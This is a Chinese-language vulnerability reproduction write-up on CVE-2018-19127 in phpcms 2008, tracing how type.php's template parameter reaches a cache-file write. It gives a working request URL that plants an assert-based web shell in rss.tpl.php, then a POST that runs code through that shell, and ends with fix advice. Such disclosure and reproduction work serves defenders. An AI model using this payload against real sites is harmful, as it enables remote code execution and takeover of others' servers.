CVE-2018-19127 phpcms 2008 漏洞复现

资讯 0 4225
指尖安全-小胖
指尖安全-小胖 2018年11月28日

概述:

近日phpcms2008版本被爆出可控的缓存文件写入任意内容漏洞,该漏洞由type.php产生

图片1

我们可以看到$template参数可以由外部传入,只进行了是否为空的判断直接就传入template()函数继续执行,template()函数在/include/global.func.php文件中。

图片2

在template()函数中中,$template参数交给了template_compile()函数处理,而template_compile()函数在include/template.func.php文件中:

图片3

我们来看第七行

$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
TPL_CACHEPATH
define('TPL_CACHEPATH', PHPCMS_ROOT.'data/cache_template/'); //模板缓存物理路径

最后直接生成路径被写入content中导致漏洞的产生

漏洞复现

下载phpcms2008sp4_utf8_111122版本 下载地址http://bbs.phpcms.cn/thread-435838-1-1.html 

图片4

访问构造地址地址:http://xxxx/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[sangfor]);{//../rss

图片5

提交post数据:

地址:http://xxxx/data/cache_template/rss.tpl.php
提交参数:sangfor=phpinfo()

图片6

影响版本

Phpcms2008

修复建议

升级最新的phpcms V9

参考链接:

https://mp.weixin.qq.com/s/W-onjWZZF7afwzwRmDH5dw 

https://github.com/ab1gale/phpcms-2008-CVE-2018-19127